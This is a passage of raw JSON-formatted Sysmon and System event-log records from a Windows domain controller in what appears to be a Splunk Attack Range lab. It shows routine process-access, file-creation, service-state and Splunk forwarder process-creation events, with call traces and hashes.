C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-0010E05B0600}\r\nTargetProcessId: 4688\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-0010E05B0600}","TargetProcessId":"4688","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:41.193\r\nProcessGuid: {90617006-413D-5F2D-0000-001051580600}\r\nProcessId: 5048\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.dll\r\nCreationUtcTime: 2020-08-07 11:55:41.084","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:41.193","ProcessGuid":"{90617006-413D-5F2D-0000-001051580600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.dll","CreationUtcTime":"2020-08-07 11:55:41.084","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76845,"ProcessID":852,"ThreadID":1108,"Channel":"System","Message":"The Windows Insider Service service entered the stopped state.","param1":"Windows Insider Service","param2":"stopped","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.757\r\nProcessGuid: {90617006-413D-5F2D-0000-0010D9610600}\r\nProcessId: 4216\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.757","ProcessGuid":"{90617006-413D-5F2D-0000-0010D9610600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-0010D9610600}\r\nTargetProcessId: 4216\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-0010D9610600}","TargetProcessId":"4216","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413D-5F2D-0000-0010D9610600}\r\nTargetProcessId: 4216\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413D-5F2D-0000-0010D9610600}","TargetProcessId":"4216","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 